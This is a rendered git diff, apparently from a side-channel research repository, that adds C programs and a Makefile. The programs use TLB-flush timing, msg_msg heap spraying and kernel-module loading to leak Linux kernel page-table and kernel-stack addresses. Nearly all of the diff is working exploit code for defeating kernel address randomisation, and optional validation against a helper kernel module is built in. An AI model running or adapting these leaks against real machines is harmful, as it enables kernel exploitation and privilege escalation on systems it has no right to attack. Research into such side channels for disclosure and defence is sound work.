printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
#else
|
||||
printf("[*] done\n");
|
||||
#endif
|
||||
return 0;
|
||||
}
|
269
artifacts/page-table/pud_4k_leak.c
Normal file
269
artifacts/page-table/pud_4k_leak.c
Normal file
|
@ -0,0 +1,269 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include "msg_msg.h"
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
|
||||
#define PMD_SPRAY (20)
|
||||
#define PMD_OTHER_SPRAY (4)
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PMD_SIZE (1<<21)
|
||||
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1<<8)*32
|
||||
#define MSG_TYPE 0x41
|
||||
|
||||
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
void __hit_flush(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8, size_t print)
|
||||
{
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = {0};
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = {0};
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = {0};
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = {0};
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t,HIST_SIZE-2)]++;
|
||||
times[i] = t;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t,HIST_SIZE-2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries/8];
|
||||
*time_n = times_n[tries/8];
|
||||
*time_n4 = times_n4[tries/8];
|
||||
*time_n8 = times_n8[tries/8];
|
||||
}
|
||||
void hit_flush(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
}
|
||||
void hit_flush_print(void *uaddr, size_t addr, size_t tries, ssize_t *time, ssize_t *time_n, ssize_t *time_n4, ssize_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PMD_SPRAY];
|
||||
for (size_t i = 0; i < PMD_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL<<39) + (1ULL<<30)*i);
|
||||
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PMD_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PMD_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL<<39) + (1ULL<<30)*i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PMD_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PMD_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
ssize_t time;
|
||||
ssize_t time_n;
|
||||
ssize_t time_n4;
|
||||
ssize_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pud);
|
||||
printf("[*] %016zx is %s page\n", pud, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pud, TRIES*10, &time, &time_n, &time_n4, &time_n8);
|
||||
#endif
|
||||
|
||||
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
|
||||
if (addr4k == pud) {
|
||||
hit_flush_print(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
printf("[*] times: %zd %zd %zd %zd\n", time, time_n, time_n4, time_n8);
|
||||
} else
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
// size_t found = time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD);
|
||||
if (found) {
|
||||
// printf("[*] finer check of %016zx\n", addr4k);
|
||||
for (size_t i = 1; i < PMD_SPRAY && found == 1; ++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
// found = time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD);
|
||||
}
|
||||
for (size_t i = 1; i < PMD_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
// found = !(time < THRESHOLD && (time_n > THRESHOLD || time_n4 > THRESHOLD || time_n8 > THRESHOLD));
|
||||
found = !IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
#ifdef VALIDATE
|
||||
cnt++;
|
||||
success |= (addr4k == pud);
|
||||
#endif
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
#ifdef VALIDATE
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
#else
|
||||
printf("[*] done\n");
|
||||
#endif
|
||||
return 0;
|
||||
}
|
24
artifacts/stack/Makefile
Normal file
24
artifacts/stack/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
117
artifacts/stack/stack_leak.c
Normal file
117
artifacts/stack/stack_leak.c
Normal file
|
@ -0,0 +1,117 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "msg_msg.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include "tlb_flush.h"
|
||||
|
||||
#define VMALLOC_START 0xffff980000000000
|
||||
#define VMALLOC_END 0xffffd7ffffffffff
|
||||
#define VMALLOC_STEP (1<<30)
|
||||
#define HIST_SIZE 80
|
||||
size_t stack;
|
||||
|
||||
|
||||
/**
|
||||
* Does the page return hits after calling syscall, and does it have unmapped guard pages after it
|
||||
*/
|
||||
size_t hit_flush(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n1;
|
||||
size_t times[tries];
|
||||
size_t times_n1[tries];
|
||||
prefetch2((void*)addr+(1<<12));
|
||||
prefetch2((void*)addr+(3<<12));
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
syscall(-1);
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
time = onlyreload(addr);
|
||||
time_n1 = onlyreload(addr+(1<<12));
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
|
||||
times[i] = time;
|
||||
times_n1[i] = time_n1;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n1, tries, sizeof(size_t), comp);
|
||||
time = times[tries/4];
|
||||
time_n1 = times_n1[tries/4];
|
||||
return (time <= THRESHOLD && time_n1 >= THRESHOLD2);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
init_tlb_flush();
|
||||
|
||||
/* warump */
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
lkm_stack_leak((size_t)&stack);
|
||||
size_t vmalloc_base;
|
||||
lkm_vmalloc_base_leak((size_t)&vmalloc_base);
|
||||
printf("[*] vmalloc_base %016zx\n", vmalloc_base);
|
||||
printf("[*] lkm_stack_leak %016zx\n", stack);
|
||||
printf("[*] hit_flush[lkm_stack_leak] %s\n", hit_flush(stack, 100) ? "hit" : "miss"); /* should be miss */
|
||||
printf("[*] hit_flush[lkm_stack_leak+0x3000] %s\n", hit_flush(stack+0x3000, 100) ? "hit" : "miss"); /* should be hit */
|
||||
printf("[*] hit_flush[lkm_stack_leak+0x7000] %s\n", hit_flush(stack+0x7000, 100) ? "hit" : "miss"); /* should be miss */
|
||||
#endif
|
||||
|
||||
/* try to detect when we've left the vmalloc area by counting how many unmapped pages we've found */
|
||||
unsigned memory_hole = 0;
|
||||
unsigned max_hole = 0;
|
||||
size_t addr = vmalloc_leak(50);
|
||||
printf("[*] found vmalloc, trying [%016zx %016zx]\n", addr, VMALLOC_END);
|
||||
for (size_t fine_addr = addr; fine_addr < addr+(4ULL<<30); fine_addr += 0x4000) {
|
||||
size_t pot_stack = fine_addr + 0x3000;
|
||||
size_t found = hit_flush(pot_stack, 100);
|
||||
if (found) {
|
||||
if ((pot_stack & 0x1ff000) != 0x1ff000) {
|
||||
printf("[*] found addr %016zx, stack: %016zx\n", pot_stack, stack + 0x3000);
|
||||
#ifdef VALIDATE
|
||||
if (pot_stack == stack + 0x3000)
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
return pot_stack == stack + 0x3000;
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
} else {
|
||||
printf("[*] disqualified addr %016zx based on alignment 0x1ff000\n", pot_stack);
|
||||
}
|
||||
}
|
||||
|
||||
if (hit(fine_addr, 4)) {
|
||||
memory_hole = 0;
|
||||
} else {
|
||||
memory_hole++;
|
||||
if (memory_hole > max_hole + 8)
|
||||
max_hole = memory_hole;
|
||||
if (memory_hole > 65000) {
|
||||
printf("[!] aborting because we haven't seen a mapped page in 1GB\n");
|
||||
return -2;
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("[!] not found\n");
|
||||
return -3;
|
||||
}
|
Loading…
Add table
Reference in a new issue